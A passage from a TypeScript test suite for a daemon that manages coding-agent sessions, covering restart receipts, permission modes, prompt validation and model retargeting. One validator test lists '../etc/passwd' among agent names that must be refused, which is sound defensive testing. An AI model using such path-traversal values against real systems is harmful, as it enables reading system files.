socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId, agentId: 'agent-1', creationId } })
await vi.waitFor(() => expect(frames.some(frame => (frame.payload as any).requestId === requestId)).toBe(true))
}
expect(handler).toHaveBeenCalledExactlyOnceWith('agent-1')
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('binds an explicit resume permission choice to its operation receipt', async () => {
const { socket, frames } = localSocket()
const creationId = `resume-mode-${randomUUID()}`
const handler = vi.fn(async () => ({ ok: true as const, session: { ...BASE_SESSION, permissionMode: 'auto' }, resumed: true }))
bindLaunchRequests(socket, { resume: handler })
vi.spyOn(registry, 'byAgent').mockReturnValue(BASE_SESSION)
for (const [requestId, permissionMode] of [['first', 'auto'], ['again', 'auto'], ['changed', 'ask']]) {
socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId, agentId: 'agent-1', creationId, permissionMode } })
await vi.waitFor(() => expect(frames.some(frame => (frame.payload as any).requestId === requestId)).toBe(true))
}
expect(handler).toHaveBeenCalledExactlyOnceWith('agent-1', 'auto')
expect(frames).toContainEqual({ type: 'agent_resume_result', payload: { requestId: 'changed', error: 'CREATION_CONFLICT' } })
await socket.unregisterLocalClient('local:restart'); await socket.stop()
})
it.each([7, '', 'allow', { auto: true }])('refuses invalid resume permission payload %j', async permissionMode => {
const { socket, frames } = localSocket()
const resume = vi.fn()
bindLaunchRequests(socket, { resume })
socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId: 'bad-mode', agentId: 'agent-1', permissionMode } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_resume_result', payload: { requestId: 'bad-mode', error: 'INVALID_PERMISSION_MODE' } }))
expect(resume).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:restart'); await socket.stop()
})
it('replies MISSING_AGENT_ID when no agentId is given', async () => {
const { socket, frames } = localSocket()
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_restart_result', payload: { requestId: 'r1', error: 'MISSING_AGENT_ID' },
}))
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('replies UNSUPPORTED_ON_REMOTE when no handler is wired', async () => {
const { socket, frames } = localSocket()
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_restart_result', payload: { requestId: 'r1', error: 'UNSUPPORTED_ON_REMOTE' },
}))
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('delegates to onRestartAgent and replies with the agent projection and the resumed flag on success', async () => {
const { socket, frames } = localSocket()
let seenAgentId: string | undefined
bindLaunchRequests(socket, { restart: async (agentId) => {
seenAgentId = agentId
return { ok: true, session: BASE_SESSION, resumed: true }
} })
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => {
const result = frames.find((f) => f.type === 'agent_restart_result')
expect(result).toMatchObject({
type: 'agent_restart_result',
payload: {
requestId: 'r1',
resumed: true,
agent: expect.objectContaining({ id: 'agent-1', sessionId: 'session-1', engine: 'claude' }),
},
})
})
expect(seenAgentId).toBe('agent-1')
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('reports a fresh (non-resumed) relaunch through the same resumed flag', async () => {
const { socket, frames } = localSocket()
bindLaunchRequests(socket, { restart: async () => ({ ok: true, session: BASE_SESSION, resumed: false }) })
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => {
const result = frames.find((f) => f.type === 'agent_restart_result')
expect(result).toMatchObject({ payload: { requestId: 'r1', resumed: false } })
})
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('replies with error+detail on failure, matching agent_create/agent_delete\'s reply shape', async () => {
const { socket, frames } = localSocket()
bindLaunchRequests(socket, { restart: async () => (
{ ok: false, error: 'RESTART_FAILED', detail: 'claude did not come back up after restart' }
) })
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_restart_result',
payload: { requestId: 'r1', error: 'RESTART_FAILED', detail: 'claude did not come back up after restart' },
}))
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('recovers a restart receipt without replacing the process again', async () => {
const { socket, frames } = localSocket()
const creationId = 'restart-receipt-test-0001'
let finish!: () => void
const handler = vi.fn(async () => {
await new Promise<void>((resolve) => { finish = resolve })
return { ok: true as const, session: BASE_SESSION, resumed: false }
})
bindLaunchRequests(socket, { restart: handler })
vi.spyOn(registry, 'byAgent').mockImplementation((id) => id === BASE_SESSION.agentId ? BASE_SESSION : undefined)
const request = (requestId: string, type = 'agent_restart') => socket.handleLocalFrame('local:restart', { type, payload: { requestId, agentId: 'agent-1', creationId } })
const response = (id: string) => frames.find((frame) => (frame.payload as { requestId?: string }).requestId === id)?.payload
request('first')
await vi.waitFor(() => expect(handler).toHaveBeenCalledTimes(1))
request('pending', 'agent_create_status')
await vi.waitFor(() => expect(response('pending')).toMatchObject({ creationId, state: 'pending' }))
request('joined')
finish()
await vi.waitFor(() => expect(response('joined')).toMatchObject({ creationId, state: 'created', resumed: false }))
request('recovered', 'agent_create_status')
await vi.waitFor(() => expect(response('recovered')).toMatchObject({ creationId, state: 'created', resumed: false }))
request('duplicate')
await vi.waitFor(() => expect(response('duplicate')).toMatchObject({ creationId, state: 'created' }))
expect(handler).toHaveBeenCalledTimes(1)
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it.each(['RESTART_FAILED', 'AGENT_BUSY'])('retains %s without repeating a restart', async (error) => {
const { socket, frames } = localSocket()
const creationId = `restart-receipt-${error}`
const handler = vi.fn(async () => ({ ok: false as const, error, detail: 'fixture refusal' }))
bindLaunchRequests(socket, { restart: handler })
for (const requestId of ['first', 'again']) {
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId, agentId: 'agent-1', creationId } })
await vi.waitFor(() => expect(frames.find((frame) => (frame.payload as { requestId?: string }).requestId === requestId)?.payload).toMatchObject({ creationId, state: error === 'RESTART_FAILED' ? 'unconfirmed' : 'failed' }))
}
expect(handler).toHaveBeenCalledTimes(1)
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('omits detail on failure when the handler did not supply one', async () => {
const { socket, frames } = localSocket()
bindLaunchRequests(socket, { restart: async () => ({ ok: false, error: 'AGENT_NOT_FOUND' }) })
socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_restart_result', payload: { requestId: 'r1', error: 'AGENT_NOT_FOUND' },
}))
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
})
describe('device agent list contract', () => {
it('keeps the engine discriminator while trimming web-only fields', () => {
expect(deviceAgentListItem({ id: 's1', name: 'Codex agent', engine: 'codex', userId: 'secret' })).toEqual({
id: 's1', name: 'Codex agent', engine: 'codex',
})
})
it('surfaces the runtime-v1 model/effort profile so the device can render + change it', () => {
const profile = 'runtime-v1:s1:codex:gpt-5.6-sol@high'
expect(deviceAgentListItem({ id: 's1', name: 'A', engine: 'codex', selectedModel: profile })).toEqual({
id: 's1', name: 'A', engine: 'codex', selectedModel: profile,
})
expect(deviceAgentListItem({ id: 's1', name: 'A', engine: 'claude', selectedModel: null })).toEqual({
id: 's1', name: 'A', engine: 'claude', selectedModel: null,
})
})
it('preserves Grok on the device agent contract', () => {
expect(deviceAgentListItem({ id: 'g1', name: 'Grok agent', engine: 'grok' })).toEqual({
id: 'g1', name: 'Grok agent', engine: 'grok',
})
})
it('keeps a terminal off the device: not a row for it, and never an engine it would understand', () => {
expect(deviceAgentRow({ id: 't1', name: 'Terminal 1', engine: 'terminal' })).toBe(false)
expect(deviceAgentRow({ id: 'c1', name: 'Claude 1', engine: 'claude' })).toBe(true)
expect(deviceAgentListItem({ id: 't1', name: 'Terminal 1', engine: 'terminal' })).toEqual({ id: 't1', name: 'Terminal 1' })
})
})
describe('Grok session_get history', () => {
const fixture = readFileSync(
fileURLToPath(new URL('./lib/__fixtures__/grok-session.jsonl', import.meta.url)),
'utf8',
).split('\n').filter(Boolean)
it('replays the real transcript for both legacy and web-paginated requests', () => {
const full = wholeHistoryPage(grokMessagesToEvents(fixture), false)
const paginated = wholeHistoryPage(grokMessagesToEvents(fixture), true)
expect(full.events).toEqual(paginated.events)
expect(full.events[0]).toMatchObject({ type: 'user_message' })
expect(full.events.at(-1)).toEqual({ type: 'done', payload: { result: 'success' } })
expect(full).not.toHaveProperty('hasMore')
expect(paginated).toMatchObject({ hasMore: false, oldestCursor: null })
})
})
describe('adapter-ws dial url', () => {
const dialUrl = (socket: BackendSocket): string => upstreamOf(socket).url
it('carries the machine id this daemon still holds, so a revoked one gets 403 not a new machine', () => {
const machineId = 'b'.repeat(32)
expect(dialUrl(relaySocket(machineId, undefined, () => {}, 'computer-1')))
.toContain(`&machine=${machineId}`)
})
it('omits the claim when the first argument is a test token rather than a machine id', () => {
// Constructed without an AuthSessionManager, the first argument is a token — sending it as a
// machine id would be a lie the backend then has to reject.
expect(dialUrl(relaySocket('token', undefined, () => {}, 'computer-1'))).not.toContain('&machine=')
})
})
describe('agent_retarget clearGrid', () => {
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
const WIRE_GRID = {
networkId: 'grid-abc',
networkName: 'autonomous.ai',
baseUrl: 'https://grid.autonomous.ai/grid-abc/relay/v1',
apiKey: 'gridkey-abc123',
}
async function retarget(payload: Record<string, unknown>) {
const seen: Array<{ agentId: string; grid: unknown }> = []
const socket = relaySocket('token')
socket.onRetargetAgent = async (input) => { seen.push(input); return { ok: true } }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
withSession(socket, 'web-1')
ws.message(sealedDown(socket, 'web-1', 'agent_retarget', payload))
await vi.waitFor(() => expect(ws.sent.length).toBeGreaterThan(0))
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
.find((frame) => frame?.type === 'agent_retarget_result')
await socket.stop()
return { seen, reply }
}
it('passes a null grid when clearGrid is true', async () => {
const { seen } = await retarget({ requestId: 'r', agentId: 'a1', clearGrid: true })
expect(seen).toEqual([{ agentId: 'a1', grid: null }])
})
// Both is a contradiction, and answering it would mean guessing which one the client meant.
it('refuses grid and clearGrid together', async () => {
const { seen, reply } = await retarget({ requestId: 'r', agentId: 'a1', clearGrid: true, grid: WIRE_GRID })
expect(reply?.payload?.error).toBe('INVALID_GRID')
expect(seen).toHaveLength(0)
})
// Unchanged: a client that simply forgot the field is still an error, which is the whole reason
// clearGrid is a separate field rather than `grid: null`.
it('still refuses a frame with neither', async () => {
const { seen, reply } = await retarget({ requestId: 'r', agentId: 'a1' })
expect(reply?.payload?.error).toBe('INVALID_GRID')
expect(seen).toHaveLength(0)
})
// A fresh session is a grid's or an API's: the way home reopens the conversation a fresh move left.
it('refuses fresh with clearGrid', async () => {
const { seen, reply } = await retarget({ requestId: 'r', agentId: 'a1', clearGrid: true, fresh: true })
expect(reply?.payload?.error).toBe('INVALID_GRID')
expect(seen).toHaveLength(0)
})
it('passes fresh through with a grid', async () => {
const { seen } = await retarget({ requestId: 'r', agentId: 'a1', grid: WIRE_GRID, fresh: true })
expect(seen).toEqual([expect.objectContaining({ agentId: 'a1', grid: expect.objectContaining({ networkId: 'grid-abc' }), fresh: true })])
})
})
/**
* The desktop's retarget names a Local model and nothing else; the daemon resolves everything from
* its own signed-in `grid`. This is that resolution through the real frame handler, against the
* plan-driven fake `grid` — the seam `gridEnsure.spec.ts` established.
*/
describe('agent_retarget onto a Local model resolves web tools', () => {
const { gridName: GRID_NAME, networkId, baseUrl: BASE_URL, mcpUrl: MCP_URL, token: TOKEN, plan } = fakeGridAnswers()
let fake: FakeGrid | null = null
afterEach(async () => {
fake?.dispose()
fake = null
clearGridMcpUrlCache()
wsMock.instances.length = 0
vi.restoreAllMocks()
})
async function retargetOntoLocalModel(model: string) {
const seen: Array<{ agentId: string; grid: unknown }> = []
const socket = relaySocket('token')
socket.onRetargetAgent = async (input) => { seen.push(input); return { ok: true } }
// Where the move goes is the models service's: it resolves the target from this machine's own grid.
serveModels(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
// The grid name is the backend's, pushed on connect; the daemon holds it in memory only.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: GRID_NAME } } })
withSession(socket, 'web-1')
ws.message(sealedDown(socket, 'web-1', 'agent_retarget', { requestId: 'r', agentId: 'a1', gridModel: model }))
await vi.waitFor(() => expect(parseSent(ws).some((item) => (item.frame as { type?: string } | undefined)?.type === 'agent_retarget_result')).toBe(true), { timeout: 10_000 })
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
.find((frame) => frame?.type === 'agent_retarget_result')
await socket.stop()
return { seen, reply }
}
it('yields a launch override whose MCP URL is exactly the printed url, asking `mcp config` before `info --env`', async () => {
fake = installFakeGrid(plan)
const { seen, reply } = await retargetOntoLocalModel('GLM-4.7-Flash')
expect(reply?.payload).toMatchObject({ retargeted: true })
expect(seen).toEqual([{
agentId: 'a1',
grid: {
networkId,
networkName: GRID_NAME,
baseUrl: BASE_URL,
apiKey: TOKEN,
model: 'GLM-4.7-Flash',
mcpUrl: MCP_URL,
},
}])
expect(fake.verbs()).toEqual(['mcp', 'info', 'ls'])
expect(fake.calls()[0]).toEqual(['--remote', 'mcp', 'config', GRID_NAME, '--json'])
})
it('still retargets, with no MCP URL, when the binary is too old for `mcp config`', async () => {
const warned: string[] = []
vi.spyOn(console, 'warn').mockImplementation((...parts: unknown[]) => { warned.push(parts.map(String).join(' ')) })
fake = installFakeGrid({ ...plan, mcp: { exit: 2, stderr: "grid: error: invalid choice: 'mcp'\n" } })
const { seen, reply } = await retargetOntoLocalModel('GLM-4.7-Flash')
expect(reply?.payload).toMatchObject({ retargeted: true })
expect(seen).toHaveLength(1)
expect(seen[0]!.grid).toMatchObject({ baseUrl: BASE_URL, apiKey: TOKEN, model: 'GLM-4.7-Flash' })
expect(seen[0]!.grid).not.toHaveProperty('mcpUrl')
// The reason reaches the daemon log, and nothing else — the retarget error path is untouched.
expect(warned.join('\n')).toMatch(/web tools unavailable .* older than/)
expect(reply?.payload).not.toHaveProperty('error')
})
})
/**
* `agent_create` carrying a first prompt, a name and a named agent — the fields the run-a-harness-compute
* entry can send (it sends `name` and `agent`). All are validated at the wire, before any pane
* exists; what reaches `onCreateAgent` is exactly what cli.ts hands to the launch and the registry.
*/
describe('agent_create with a prompt, a name and a named agent', () => {
afterEach(() => {
vi.restoreAllMocks()
})
const pending: RegisteredSession = {
schemaVersion: 2, active: true, launch: { state: 'starting' },
agentId: 'named-1', sessionId: '', boundAt: null, engine: 'opencode',
transcriptPath: null, projectDir: 'home', cwd: '/home/someone', defaultName: 'Local model',
runtimes: [{ backend: 'tmux', paneId: '%11' }], primaryRuntimeKey: 'tmux/%11', tmuxPane: '%11',
source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
}
async function create(choices: Record<string, unknown>) {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:named', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
const seen: unknown[] = []
socket.onCreateAgent = async (input) => { seen.push(input); return { ok: true, session: pending } }
try {
socket.handleLocalFrame('local:named', { type: 'agent_create', payload: { requestId: 'r', engine: 'opencode', cwd: '/home/someone', ...choices } })
await vi.waitFor(() => expect(frames.some((frame) => frame.type === 'agent_create_result')).toBe(true))
} finally {
await socket.unregisterLocalClient('local:named')
await socket.stop()
}
const reply = frames.find((frame) => frame.type === 'agent_create_result')?.payload as Record<string, unknown>
return { seen, reply }
}
it('passes both through, trimmed, and the name becomes the row\'s defaultName', async () => {
const { seen, reply } = await create({ prompt: ' Start a local model on this machine ', name: ' Local model ' })
expect(seen).toEqual([expect.objectContaining({ engine: 'opencode', prompt: 'Start a local model on this machine', name: 'Local model' })])
expect(reply).toMatchObject({ agent: expect.objectContaining({ id: 'named-1', name: 'Local model' }) })
})
it('sends null for both when neither was given, or when they are blank', async () => {
expect((await create({})).seen).toEqual([expect.objectContaining({ prompt: null, name: null })])
expect((await create({ prompt: ' ', name: '' })).seen).toEqual([expect.objectContaining({ prompt: null, name: null })])
})
it('refuses an over-long prompt before any pane exists', async () => {
const { seen, reply } = await create({ prompt: 'x'.repeat(2001) })
expect(reply).toMatchObject({ error: 'PROMPT_TOO_LONG' })
expect(seen).toHaveLength(0)
expect((await create({ prompt: 'x'.repeat(2000) })).seen).toHaveLength(1)
})
it('refuses a prompt for an engine with no documented mechanism, naming the engine', async () => {
const { seen, reply } = await create({ engine: 'cursor', prompt: 'Start a local model on this machine' })
expect(reply).toMatchObject({ error: 'PROMPT_UNSUPPORTED', detail: expect.stringContaining('Cursor cannot start with a first message') })
expect(seen).toHaveLength(0)
})
it('refuses a prompt that is not text', async () => {
const { seen, reply } = await create({ prompt: ['Start a local model'] })
expect(reply).toMatchObject({ error: 'INVALID_PROMPT' })
expect(seen).toHaveLength(0)
})
it('passes the named agent through for opencode, and null when none was given', async () => {
// v1 — pinned, so the answer does not depend on the OpenCode installed where the suite runs.
vi.spyOn(opencodeVersion, 'opencodeMajorVersion').mockResolvedValue(1)
const { seen, reply } = await create({ agent: 'harness-compute', name: 'Local model' })
expect(seen).toEqual([expect.objectContaining({ engine: 'opencode', agent: 'harness-compute', name: 'Local model', prompt: null })])
expect(reply).toMatchObject({ agent: expect.objectContaining({ id: 'named-1' }) })
expect((await create({})).seen).toEqual([expect.objectContaining({ agent: null })])
expect((await create({ agent: null })).seen).toEqual([expect.objectContaining({ agent: null })])
})
it('refuses a named agent for opencode v2, whose TUI exits 1 on --agent, before any pane exists', async () => {
vi.spyOn(opencodeVersion, 'opencodeMajorVersion').mockResolvedValue(2)
const { seen, reply } = await create({ agent: 'harness-compute' })
expect(reply).toMatchObject({ error: 'AGENT_UNSUPPORTED', detail: expect.stringContaining('opencode') })
expect(seen).toHaveLength(0)
})
it('refuses a named agent for an engine with no documented mechanism, naming the engine, before any pane exists', async () => {
for (const engine of ['claude', 'codex', 'cursor']) {
const { seen, reply } = await create({ engine, agent: 'harness-compute' })
expect(reply).toMatchObject({ error: 'AGENT_UNSUPPORTED', detail: expect.stringContaining(engine) })
expect(seen).toHaveLength(0)
}
})
it('refuses a named agent that is not an identifier — a path, prose, blank, over-long, or not text', async () => {
for (const agent of ['', ' ', 'local model', '../etc/passwd', 'a/b', 'x'.repeat(65), ['harness-compute'], 7]) {
const { seen, reply } = await create({ agent })
expect(reply).toMatchObject({ error: 'INVALID_AGENT' })
expect(seen).toHaveLength(0)
}
})
})
/**
* The picker and the Local model dialog gate on `gridName` — whether the ACCOUNT has a grid — and
* had nothing to tell them whether the MACHINE has a `grid` to run at all. A user with no CLI got a
* dialog that started an agent, which died at the skill's second step. The answer travels beside
* the list, as `localModelEngines` does, and says which grid it is: the managed runtime, one found
* on PATH, or none.
*/
describe('grid_models_list says whether this machine has a grid CLI', () => {
const { gridName: GRID_NAME, plan } = fakeGridAnswers()
let fake: FakeGrid | null = null
afterEach(async () => {
fake?.dispose()
fake = null
wsMock.instances.length = 0
})
async function listModels(): Promise<Record<string, unknown> | undefined> {
const socket = relaySocket('token')
serveModels(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: GRID_NAME } } })
withSession(socket, 'web-1')
ws.message(sealedDown(socket, 'web-1', 'grid_models_list', { requestId: 'r' }))
await vi.waitFor(() => expect(parseSent(ws).some((item) => (item.frame as { type?: string } | undefined)?.type === 'grid_models_list_result')).toBe(true), { timeout: 10_000 })
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
.find((frame) => frame?.type === 'grid_models_list_result')
await socket.stop()
return reply?.payload
}
it('names the grid it would run — the fixture is a developer override, so `path`', async () => {
fake = installFakeGrid(plan)
expect(await listModels()).toMatchObject({ gridName: GRID_NAME, gridCli: 'path' })
})
})
describe('a move onto a grid model asks models where it goes', () => {
/** A daemon whose models is a stub, asked over a local frame. Where the move goes, grid's set-up before
* it and the prewarm after it are the models service's (services/models.spec.ts). */
function daemon(moveTarget: ModelsPort['moveTarget'] | null, apiTarget: ModelsPort['apiTarget'] = () => Promise.reject(new Error('no APIs'))) {
const socket = relaySocket('token')
const moved = vi.fn()
if (moveTarget) socket.models = () => ({ annotation: () => null, lists: () => Promise.reject(new Error('no lists')), moveTarget, moved, apiTarget })
const retargeted = vi.fn(async (_request: { agentId: string; grid: unknown }) => ({ ok: true as const }))
socket.onRetargetAgent = retargeted
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:grid', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
let asked = 0
const ask = async (type: string, payload: Record<string, unknown> = {}): Promise<Record<string, unknown>> => {
const requestId = `${type}-${++asked}`
socket.handleLocalFrame('local:grid', { type, payload: { requestId, ...payload } })
const answer = (): Record<string, unknown> | undefined => frames
.map((frame) => frame.payload as Record<string, unknown> | undefined)
.find((body) => body?.requestId === requestId)
await vi.waitFor(() => expect(answer()).toBeDefined())
return answer()!
}
return { socket, moved, retargeted, ask, done: async () => { await socket.unregisterLocalClient('local:grid'); await socket.stop() } }
}
const TARGET = { networkId: 'net-1', networkName: 'team-grid-0000aaaa', baseUrl: 'https://fixture.invalid/g/net-1/relay/v1', apiKey: 'fixture-key', model: 'Shared-Model' }
it('moves onto what models resolved, from the grid the model was picked from, and has models start it', async () => {
const moveTarget = vi.fn(async () => ({ target: TARGET }))
const d = daemon(moveTarget)
expect(await d.ask('agent_retarget', { agentId: 'a1', gridModel: 'Shared-Model', gridName: ' team-grid-0000aaaa ' })).toEqual({ requestId: 'agent_retarget-1', retargeted: true })
expect(moveTarget).toHaveBeenCalledWith({ gridName: 'team-grid-0000aaaa', model: 'Shared-Model' })
expect(d.retargeted).toHaveBeenCalledWith({ agentId: 'a1', grid: TARGET })
expect(d.moved).toHaveBeenCalledWith(TARGET)
// The account's own grid when the picker names none.
await d.ask('agent_retarget', { agentId: 'a1', gridModel: 'Own-Model' })
expect(moveTarget).toHaveBeenLastCalledWith({ gridName: null, model: 'Own-Model' })
await d.done()
})
it('a fresh move onto a grid model or an API model says so to the move', async () => {
const d = daemon(vi.fn(async () => ({ target: TARGET })), vi.fn(async () => ({ target: API, apiBase: API.baseUrl })))
expect(await d.ask('agent_retarget', { agentId: 'a1', gridModel: 'Shared-Model', gridName: 'team-grid-0000aaaa', fresh: true })).toMatchObject({ retargeted: true })
expect(d.retargeted).toHaveBeenLastCalledWith({ agentId: 'a1', grid: TARGET, fresh: true })
expect(await d.ask('agent_retarget', { agentId: 'a1', apiConnection: 'router', apiModel: 'vendor/model-a', fresh: true })).toMatchObject({ retargeted: true })
expect(d.retargeted).toHaveBeenLastCalledWith({ agentId: 'a1', grid: API, fresh: true })
await d.done()
})
it('says why it cannot move, in models\' words, and moves nothing', async () => {
const d = daemon(async () => ({ detail: 'no grid on this computer' }))
expect(await d.ask('agent_retarget', { agentId: 'a1', gridModel: 'Shared-Model', gridName: 'team-grid-0000aaaa' }))
.toMatchObject({ error: 'GRID_UNAVAILABLE', detail: 'no grid on this computer' })
expect(d.retargeted).not.toHaveBeenCalled()
expect(d.moved).not.toHaveBeenCalled()
await d.done()
})
it('with models down or off, the move answers GRID_UNAVAILABLE at once', async () => {
for (const down of [async () => { throw new Error('models is down') }, null]) {
const d = daemon(down)
expect(await d.ask('agent_retarget', { agentId: 'a1', gridModel: 'Own-Model' }))
.toMatchObject({ error: 'GRID_UNAVAILABLE', detail: 'Models are unavailable. Try again.' })
expect(d.retargeted).not.toHaveBeenCalled()
await d.done()
}
})
const API = { networkId: 'api:router', networkName: 'Router', baseUrl: 'https://router.fixture.invalid/v1', apiKey: 'fixture-key', model: 'vendor/model-a' }
it("a move onto a saved API's model: the launch models read, its endpoint recognised from then on, no grid started", async () => {
const apiTarget = vi.fn(async () => ({ target: API, apiBase: API.baseUrl }))
const d = daemon(vi.fn(), apiTarget)
expect(await d.ask('agent_retarget', { agentId: 'a1', apiConnection: 'router', apiModel: ' vendor/model-a ' })).toMatchObject({ retargeted: true })
expect(apiTarget).toHaveBeenCalledWith({ connectionId: 'router', model: 'vendor/model-a' })
expect(d.retargeted).toHaveBeenCalledWith({ agentId: 'a1', grid: API })
// Target resolution and endpoint recognition belong to models; core forwards the launch.
expect(d.moved).not.toHaveBeenCalled()
await d.done()
})
it('a saved API that cannot be used says why in models\' words; models down or off says so; nothing moves', async () => {
const refused = daemon(vi.fn(), async () => ({ detail: 'This API is not saved. Add it in Models → APIs.' }))
expect(await refused.ask('agent_retarget', { agentId: 'a1', apiConnection: 'gone', apiModel: 'vendor/model-a' }))
.toMatchObject({ error: 'API_UNAVAILABLE', detail: 'This API is not saved. Add it in Models → APIs.' })
expect(refused.retargeted).not.toHaveBeenCalled()
await refused.done()
for (const d of [daemon(vi.fn(), async () => { throw new Error('models is down') }), daemon(null)]) {
expect(await d.ask('agent_retarget', { agentId: 'a1', apiConnection: 'router', apiModel: 'vendor/model-a' }))
.toMatchObject({ error: 'API_UNAVAILABLE', detail: 'The models service is not running, so this API cannot be used now. Try again in a moment.' })
expect(d.retargeted).not.toHaveBeenCalled()
await d.done()
}
})
it('a move onto an API, or back onto the own login, asks models nothing', async () => {
const moveTarget = vi.fn()
const d = daemon(moveTarget)
expect(await d.ask('agent_retarget', { agentId: 'a1', clearGrid: true })).toMatchObject({ retargeted: true })
expect(moveTarget).not.toHaveBeenCalled()
expect(d.moved).not.toHaveBeenCalled()
await d.done()
})
})
describe('the models lists pushed to the windows', () => {
it('pushes each window the list in the form it asked for, as models built it; nothing while models is off or failing', async () => {
const socket = relaySocket('token')
const rows: Array<Record<string, unknown>> = []
const plain: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:rows', { sendFrame: (frame) => { rows.push(frame); return true }, sendBinary: () => true })
socket.registerLocalClient('local:plain', { sendFrame: (frame) => { plain.push(frame); return true }, sendBinary: () => true })
// A window that draws row state says so when it asks for the list.
socket.handleLocalFrame('local:rows', { type: 'grid_models_list', payload: { requestId: 'r1', rowState: true } })
await vi.waitFor(() => expect(rows.some((frame) => frame.type === 'grid_models_list_result')).toBe(true))
rows.length = 0
plain.length = 0
await socket.pushGridModels()
socket.models = () => ({ ...MODELS_OFF, lists: async () => ({ plain: { form: 'plain' }, rowState: { form: 'rows' } }) })
await socket.pushGridModels()
expect(rows).toEqual([{ type: 'grid_models_changed', payload: { form: 'rows' } }])
expect(plain).toEqual([{ type: 'grid_models_changed', payload: { form: 'plain' } }])
socket.models = () => MODELS_OFF
await socket.pushGridModels()
expect(rows).toHaveLength(1)
await socket.unregisterLocalClient('local:rows')
await socket.unregisterLocalClient('local:plain')
await socket.stop()
})
it('carries models\' note on the grid an agent is on in every frame it builds, and none while models is off', async () => {
const socket = relaySocket('token')
const grid = { baseUrl: 'https://fixture.invalid/g/n1/relay/v1', model: 'm' }
const agent = { agentId: 'a-note', sessionId: 's-note', engine: 'claude', cwd: '/tmp', runtimes: [], registeredAt: 1, active: true, grid } as unknown as RegisteredSession
expect((await socket.toProject(agent)).grid).toEqual(grid)
socket.models = () => ({ ...MODELS_OFF, annotation: () => ({ state: 'asleep' as const }) })
expect((await socket.toProject(agent)).grid).toEqual({ ...grid, state: 'asleep' })
expect((await socket.toStoppedProject(agent)).grid).toEqual({ ...grid, state: 'asleep' })
await socket.stop()
})
it('answers the grid commands\' handshake itself, so a Grid harness never reads models being down as "update Harness"', async () => {
const socket = relaySocket('token')
socket.models = () => MODELS_OFF
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:grid', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:grid', { type: 'grid_fleet_capabilities', payload: { requestId: 'c1' } })
await vi.waitFor(() => expect(frames.some((frame) => frame.type === 'grid_fleet_capabilities_result')).toBe(true))
expect(frames.find((frame) => frame.type === 'grid_fleet_capabilities_result')!.payload)
.toMatchObject({ requestId: 'c1', protocol: 1, maxTimeoutMs: 30 * 60_000, thinkingControl: true, gridCli: expect.any(String) })
await socket.unregisterLocalClient('local:grid')
await socket.stop()
})
})
describe('the connect burst with no network', () => {
afterEach(() => { wsMock.instances.length = 0 })
it('a grid_models_list that never answers does not hold agents_list or usage_read behind it', async () => {
// Measured 2026-09-18, wifi off, daemon restarted: the desktop asks grid_models_list,
// terminal_capabilities and agents_list in one breath on every connect. grid_models_list waited
// on a grid reconcile that could not finish, and the ordered per-connection chain held the other
// two behind it past the app's 10s timeout — on which the app forced a reconnect and asked all
// three again, for as long as the wifi stayed off. The terminal on the same computer read
// "offline" the whole time.
const socket = relaySocket('token')
bindAgentList(socket)
// A grid name that never comes, as a grid read that never lands; and a Codex that never answers, asked
// of the usage service beside models.
serveModels(socket, { account: { privateGridName: () => new Promise<null>(() => {}) } }).start('usage', (core, ports) => { ports.usage = { read: async () => ({}), stop: () => {} }; return startUsage(core, { codex: () => new Promise(() => {}), now: Date.now, env: async () => ({}) }) }, fakeCore(), USAGE_FALLBACKS, USAGE_REQUESTS)
const frames: Array<Record<string, unknown>> = []
